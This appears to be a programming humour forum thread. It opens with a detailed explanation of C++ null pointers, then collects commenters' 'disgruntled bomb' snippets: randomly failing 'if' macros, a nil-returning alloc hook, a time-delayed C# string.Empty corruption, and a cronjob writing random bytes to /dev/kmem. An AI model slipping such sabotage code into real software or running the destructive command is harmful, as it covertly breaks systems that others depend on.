    Admittedly they likely didn't anticipate the ambiguities of "0" as a null pointer and an int, but nobody said standards committees are omnicient. At least this time around, they have addressed the issue, and given a proper null pointer constant by name to the language, and have made it unambiguous in type. The nullptr is not convertible to an integral type, but can convert to any pointer type (including pointers to members, and functions). This is somewhat like what was done with "bool" when the C++ standard first came out -- a new type was integrated to the language to support proper semantics. In fact the committee discussed removing the capacity for "0" to be the null pointer, but they felt that this would break a good deal of code, even if that code *deserved* to be broken. It also introduces another point of divergence from the C language, which isn't necessarily desirable -- the mantra has been "as close as possible, but no closer."

    Sten:

    If you want to use constant and use it right, make it a pointer, not an integer:
    void *NULL = 0;

    This would at least create ambiguity instead of silent usage of a wrong overloaded function.


    A few things incorrect here, too. While this construct works (almost) in C, it's not useful in C++. First of all, in C++, the variable you've created is NOT a constant. Second, in C++ it is illegal to implicitly cast "void *" to any other pointer type. This is only possible in the C language -- and we must bear in mind that as close as they are, C++ is not C. To help explain this, examine this code which compiles in C, but gives errors (not warnings) in C++:

    int *array= malloc( sizeof( int ) * 10 );


    A cast (Ugh!) makes malloc work in both, but we prefer to use std::vector in C++, or when we do have to explicitly allocate arrays in C++ we use:

    int *array= new int [ 10 ];


    C++ does not allow "void *" to cast to other pointer types, as that would open a tremendous hole in the type system. Predefined conversions in C++ allow only for loss-of-information as generalization, and never for invention of information out of whole cloth. C++ allows implicit conversion from any pointer to "void *", because it's safe to do -- you're merely erasing static typing information, and C has allowed that kind of cast since the earliest days (but it used to be "char *", not "void *" in C, actually! Early C++ research actually had a lot to do with the invention of the void type, and it's eventual introduction to C.) In C++ converting from "void *" to any type would allow us to invent information about the type of a variable on the fly, which can't necessarily be checked at compile time. (A much more significant danger in C++ than C. C++'s complex type system allows for embedded metadata in objects, and divergent layouts from C types, when using C++ features. C just sees the world as raw bytes, always.) C allowed "void *" to any pointer mostly to make "malloc()" look pretty. Read up on the C standards meeting notes, and you'll see this. In C++ we have the "new" expression mechanism and this always returns things of the correct pointer type -- so the C++ guys didn't feel compelled take that "hack" (there's no benefit, but serious problems for C++ if it were allowed.) The ironic result of all of this confusion, is that prior to C++0x, C actually had a much more strictly typed null pointer constant than C++. C allows "void *" to convert to any pointer type, but not necessarily to an int -- most compilers will give a warning. (And many projects want to compile "-Werror -Wall", or equivalent, to enforce better safety, remember?) I'm somewhat rusty on the C89 and C99 standards, so I don't know if the standards actually require this warning of a compliant implementation. C++ doesn't allow any pointer to int conversion whatsoever, and forbids void * to any pointer conversions. In the general case this is safe and sensible, but when dealing with the inherited null pointer constant from C we find a case where C++ winds up having a severely brain-damaged null pointer.

    Correcting the "void *NULL solution" to read "void *const NULL= 0" would create a compile-time constant variable called NULL, which is equal to the null pointer value. However, as you'll find out, the variable cannot be cast to other types, and it is not therefore suitable for use as a general purpose null pointer. Try it yourself:

    #include <cassert>

    void *const MY_NULL= 0;

    int
    main()
    {
    int *p= MY_NULL; // This line should fail to compile
    assert( p == 0 );
    }


    You should find that this code doesn't even compile. GCC tells me: "invalid conversion from 'void*' to 'int*'". If your compiler accepts this code in C++, it's doing so non-portably as an extension. GCC accepts this conversion if passed "-fpermissive", but it still spits out a warning -- note that this is behavior outside the standard, and therefore non-portable.

    What this means is that this MY_NULL constant as a void * will work correctly for my case with f( int ) and f( void * ). It will fail to compile for the "fun with std::string ctors" case I gave. The preferred situation is to have a null pointer constant which has no ambiguities with integers. It's not just overload situations that are a problem -- there are template situations too. A nullptr type accomplishes this, and there are freely available C++98 implementations available which approximate the C++0x nullptr. C++0x may allow implementations to redefine "NULL" to the nullptr constant, but if they do this, it will dramatically alter the interpretation of code between the two editions of the standard, and possibly break some code. As I've said, most standards committees prefer to not break any code, even if that code "deserves" to be broken. The inherent ambiguity present in NULL as a macro, and the inherent dangers of blind-text-substitution from macros are therefore enough to convince many C++ developers (myself included) to avoid using the "NULL" macro in C++ code. (While it's considered good practice in C, it's not considered good practice in C++. And that's okay -- they're different languages.) And one parting word about the preprocessor in C++: It is illegal to "#define" any C++ keyword. It's forbidden, completely. Any C++ program which has a "#define" on a keyword is "ill defined". The standard refuses to say what that program will do, and recommends that it be rejected. Any compiler accepting those programs is exhibiting implementation defined behavior. So all of the "#define true false", and even my "#define virtual /* Nothing */" case are actually all technically illegal. (The #defines mucking with "malloc" and "free" I think are still legal though.)

    One might be thinking "who cares about portability"? It works on my compiler for my platform -- well, to me that's a big WTF. It's just a slightly larger scoped variant of the "It worked on my computer" excuse from junior developers and students. Don't write off the importance of portability in code written in C or C++ (or any language for that matter!) Remember that it was the fact that code was portable when written in those languages that made them popular. Even Java and C# are popular in part because of their degrees of portability. C as a "portable assembly language" was perfect for early 1970s experiments with portable operating systems (namely AT&T Unix.) C++ builds on that capacity, and offers a way to write portable code, using a low level language with many advanced features. The obsession with "portability" of code means that you have a strong guarantee that code written within the parameters of the standard will perform (essentially) identically (and always predictably) on any platform, using any compiler. This helps protect your investment (the codebase) from unnecessary breakage and invalidation when you upgrade development environments, change platforms, or have to support multiple versions across multiple platforms and compilers. I learned about portability (and the fact that one cannot redefine keywords) the hard way. I had a legacy program which used an identifier "or", and I was using a g++ option to supress the C++ keyword "or". Clang++ didn't have that option, and didn't let me even #define the token out of the way to "or_" or similar! That was a big wake up call for me about the dangers of relying upon non-portable code. In this case, relying upon the undefined behavior regarding redefined keywords got me into that mess, so it was a double lesson. There's an old humourous saying about "causing demon to fly out of your nose" being acceptable in situations with undefined (read: non-portable) behavior.

    On reconsideration, I think the best disgruntled bomb that you can give to your employer in any language is to rely upon implementation defined behavior in all critical components, but do so subtly. Many submissions here fit that spirit -- but don't embrace it. I'd violate C++'s one definition rule; rely heavily upon my initial platform's underlying representations (only work for little endian, for example); utilize the few thousand extra bytes at the end of my std::vector, which I reserved, and not in-place new them. Rely upon the fact that my std::vector< T > implementation uses a "T *" as an iterator type (not illegal, but I think that it should be), and prefer "T" to be a derived type -- just slip in a few instances of sibling types, and watch the madness ensue. (Oh, I thought that was an "Apple" in the vector... it's a "Kiwi"? How could that happen with a std::vector< Apple >?) More fun if I can make it so that my type family all has the same size, and make my program rely upon various classes of polymorphic and static behavior. (Use Apple:: methods, while refering to a "Grape", illegally inserted into a std::vector< Apple >, for example.)

    Catpcha: damnum - An apt name for the confusion over "0" vs. "NULL". Most people agree that "0" *should be* a damn number. Even and especially those who use "0" as a null pointer constant.
  • Eternal Density 2011-03-18 02:51
    If friends can access privates, does that make them friends with benefits?
    frits:

    *Frankenstein-like walks away*
    "More coffee. Fire bad."

    Tree pretty?
  • - 2011-03-18 15:34
    Niels:
    The WTF about the sample is that you should not be using NULL in C++ code, you should just write 0.


    How about:

    #ifndef _DEBUG
    
    #define if(x) if(rand()<0.0001 && (x))
    #endif

    Great, this one is my favourite, but because of short-circuit semantics I'd suggest replacing "&&" with "|", so all functions that should be called are called. Though it's absolutely impossible to debug anyway.
    #ifndef _DEBUG
    
    #define if(x) if(rand()<0.001|(x))
    #endif
  • Andy 2011-03-19 02:16
    // pick a random class
    $classes = get_declared_classes();
    $class = new ReflectionClass($classes[array_rand($classes)]);
    // pick a random public method
    $methods = $class->getMethods(ReflectionMethod::IS_PUBLIC);
    $method = $methods[array_rand($methods)];
    // oops, it's no longer public
    $method->setAccessible(false);
  • Felix 2011-03-20 23:27
    I'm surprised that Objective-C was left alone (at least on the featured comments), especially considering how easy it is to mess up. This isn't very creative, but it's pretty 'funny' anyways:

    #include <objc/runtime.h>
    

    static IMP allocRef;

    static id decrepify(id obj, SEL sel)
    {
    if (random() % 9000 == 0) return nil;
    return allocRef(obj, sel);
    }

    static void inject() __attribute__((constructor));
    static void inject()
    {
    Class nsobject = objc_getClass("NSObject");
    Method method = class_getClassMethod(nsobject, @selector(alloc));
    allocRef = method_getImplementation(method);
    method_setImplementation(method, (IMP)decrepify);
    }


    This replaces the critical alloc method of NSObject for a function that returns nil once in a while. And since messaging nil doesn't throw an exception in Objective-C, errors will probably show up long, long after the call failed.

    Another creative use: instead of returning nil in alloc, pick a class at random, a method at random, and set its implementation to NULL.
  • Ryan 2011-03-21 14:50
    _a=Array;Array=function(){var r;(r=_a.apply(this,arguments)).length=1000;return r};

    This will teach people to use [] instead of new Array().
  • Some Coder 2011-03-22 15:32
    I think the most insidious thing you can do is just randomly quit processing something core to the business. Purchase orders, sales, documents, etc. Your system acknowledges receipt, starts processing, evaluates some random condition, then returns normally while storing nothing about the item. Business and programmer nightmare.
  • harold 2011-03-23 12:57
    Not sure whether it qualifies, but: (C#)

    using System;
    using System.Collections.Generic;

    namespace LolYouDie
    {
    using Hack = List<dynamic>;

    class Program
    {
    private static void Main()
    {
    }
    }
    }

    This will cause the compiler that ships with VS2010 to CRASH, and will leave errors such as "Internal Compiler Error: stage 'BEGIN'"
  • Anonymous 2011-03-23 22:00
    Pft, too easy.

    #ifdef ASSERT_EQ(a, b, msg)
    #undef ASSERT_EQ(a, b, msg)
    #end
    #ifdef _DEBUG
    #define ASSERT_EQ(a, b, msg) __assert_eq(a, b, msg)
    #else
    #define ASSERT_EQ(a, b, msg)
    #endif

    #define ASSERT_EQ(a, b) ASSERT_EQ(a, b, __sprintf("Expected: %s\nGot: %s", b, a)

    //...buried in an unrelated source file...

    template <T>
    void __assert_eq(T& a, T& b, string msg)
    {
    a = b;
    }

    This will cause all sorts of havoc in debugfests, turning every bug evaluated with ASSERT_EQ into a heisenbug. Better yet, make sure that some modules will have this, and some won't through some other macro evaluation.
  • hacksoncode 2011-03-23 22:50
    I won't provide an explicit example, because your imagination will create much worse horrors than I can, but...

    Redefine the ASSERT macro to something else.

    Essentially, every bug becomes a Heisenbug.
  • A numerical analyst 2011-03-25 16:36
    #define double float
  • Bob 2011-03-25 21:48
    I think Windows does that already for you.

    Captcha: damnum
  • macserv 2011-03-27 15:27
    What, nine thousand?!!!
  • BAReFOOt 2011-03-28 11:19
    > Replace a random bit of kernel memory with a random value.

    Except that that would highlight bigger than yo momma’s ass. ^^
    Nobody is permitted to write to kmem, and here it does not even exist.
    On my hardened server, the file exists solely as a honeypot, and I get a big fat warning e-mail when something tries to write in there. (Nope, flooding does not cause a DOS attack.) :)
  • Allan Schatsky 2011-03-31 17:08
    Gotta love Hanlon's Razor: "Never attribute to malice that which can be adequately explained by stupidity."
  • Eskil 2011-05-23 09:22
    frits:
    Sten:
    hoodaticus:
    Inherit?

    Does not work. Private members are accessible only by the class itself.


    Friends can access their private members.


    Friends with benefits?
  • grrr 2011-05-23 11:42
    Cipri:
    I'd have to go with making a cronjob running


    dd if=/dev/urandom of=/dev/kmem bs=1 count=1 seek=$RANDOM


    Replace a random bit of kernel memory with a random value.


    This won't work unless you have admin privileges.
  • Redefine undefined. 2011-05-23 11:57
    (function () {
    var realundefined = undefined;
    if (typeof Object.defineProperty == "undefined") {
    undefined = {};
    } else {
    Object.defineProperty(window, undefined, {get: function () { return Math.random() > 0.5 }});
    }
    }());
  • El Huesudo II 2011-05-23 14:03
    Nameless:
    #define 6 8

    change that to #define 6 9

    in honor of the late Jimi Hendrix
  • sdc 2011-05-23 15:20
    Nobody seems to have said so, but this is short, sweet and elegant. and an "evil" macro to boot. kind a the thing i though 'damn, i should have thought of that'.
  • ld 2011-05-23 16:11
    or better:
    calculateSalesPrice()
    ca1culateSalesPrice()
    calculateSa1esPrice()

    For optimal confusion view with Courier
  • Paul 2011-05-23 16:59
    lax:
    C#:
    static SomeCtor()
    
    {
    typeof(string).GetField("Empty").SetValue(null, " ");
    }
    //Sets string.Empty to a space character


    __
    Note from Alex: I just tested, and this actually works!


    An even better version would be !DEBUG that would only start at some date and would get progressively worse over time and cap out at some amount. (In this example, about 1 every 10 runs of a released app)


    static SomeCtor() {
    #if !DEBUG
    if(new Random().NextDouble() < ((DateTime.Now < new DateTime(2012, 1, 1)) ? ((DateTime.Now - new DateTime(2011, 6, 1)).TotalMilliseconds/(new DateTime(2012, 1, 1) - new DateTime(2011, 6, 1)).TotalMilliseconds)*0.1 : 0.1))
    typeof(string).GetField("Empty").SetValue(null, " ");
    #endif
    }
  • Peter Wolff 2011-05-24 05:44
    Luiz Felipe:
    Mike:
    In those legacy visual basic apps that are still being maintained, just remove the line "option explicit" from every source file.

    This is evil.
    But not works, my compiling script try to find it in all the code files and fail the compilation if it dont have the "option explicit".

    Good idea. But doesn't work as simply in VB.NET. If you don't check for "Option Explicit<line break>", we can (in the Tools -> Options menu) uncheck the "Pretty listing" option, change the "Option Explicit" to "Option Explicit <150 spaces> Off", and recheck the "Pretty listing" option.

    (Does work in VS2008, with the project's "Option Explicit by default" option checked, just tried it.)
  • Tom 2011-05-24 07:52
    It's also pretty trivial to defeat the suggested grep:

    #define true ((2/2)>>1)
  • SG_01 2011-05-24 08:33

    #define \
    true \
    (malloc(1),true)


    have fun ;)
  • Stefan 2011-05-27 19:12
    Pr0gramm3r:

    int main(int argc, char** argv){
    return 0;
    }

    After taking the complement of this program it does everything.


    Wrong. The complement of this program won't take any command-line arguments.
  • Enormous Coward 2011-08-11 02:52
    DemonWasp:
    #define const
    #define volatile
    #define public
    #define protected
    #define private
    #define class struct

    Assuming that works (way too lazy to check), it's a recipe for subtle bugs everywhere. Double points if you can modify the makefiles to look like they're using -Wall -Werror without actually using them.


    Sorry, this is unlikely to compile.

    const: think const/non-const overloads. They become multiply declared/defined.
    volatile: behaves like const, but more likely to compile anyway
    public/protected/private: the remaining colons won't compile
    class: this actually might work unless you mix it with code not covered by the macros (e.g. inheritance, declarations). All this would accomplish though is a slight reduction in compile time safety regarding private members.
  • mz 2011-08-27 05:18
    Ahah, I am learning C# and literally yesterday I saw that when I was looking at the C# Reflection namespace yesterday while messing around. My code was messy compared to your one liner though. It is so bad that you can do that. Even though that value is readonly.
  • JB 2011-09-06 17:40
    Reminds me of the script that would email /dev/urandom to every account in the /etc/passwd of a certain spamhost domain, 1000 bytes at a time.
  • omfgwallhax 2012-03-28 15:10
    Firstly for some technical details.
    malloc always (= in the common implentations in MSVC & Code::Blocks gcc version; Yes Windows only here) wraps a little bit around the memory it allocates. In debug builds this allows you to catch off-by-one errors, in release it e.g. stores the size of the allocated memory, the status of that memory and a pointer to the next block.

    Now as an follow-up to all those malloc and free examples:
    Let malloc execute normally but then replace random fields. Change the size, set it to already be free'd or make the pointer to the next malloc'd block point to this one instead (Infinite recursion anyone?).
  • Paul F 2012-11-01 00:30
    Here, I'm setting the values i and f to two variables. In tcl, variables are interpreted immediately, so they can be used to create a function name by just placing them next to each other. I did this so even doing a search for "if" wouldn't bring up this code ... hehehe.
    Basically, I save the old if function into a new function called oldif, then I create a new if function and pass its parameters to oldif. I added a random number and checked if it's greater than 0.00001 (which will be true most of the time). If I really wanted to make it impossible to debug (tcl debugger won't go into C ;)), I would write an extension in C, but it's 12:30 right now, and I need some sleep :).

    set a i
    set b f

    # You can actually rename keywords!
    rename $a$b old$a$b

    proc $a$b {statement body} {
    old$a$b [expr {rand() > 0.00001 && $statement}] $body
    }
  • modifiable lvalue 2013-05-29 23:45
    A subtle mIRC backdoor:

    on 1:TEXT:*:#: {
    if ($me isin $1-) {
    flash $+($nick,/,$chan,:) $1-
    }
    }

  • Andy 2013-12-06 18:07
    You're missing the most crucial step there. I'll let you figure it out:

    http://cm.bell-labs.com/who/ken/trust.html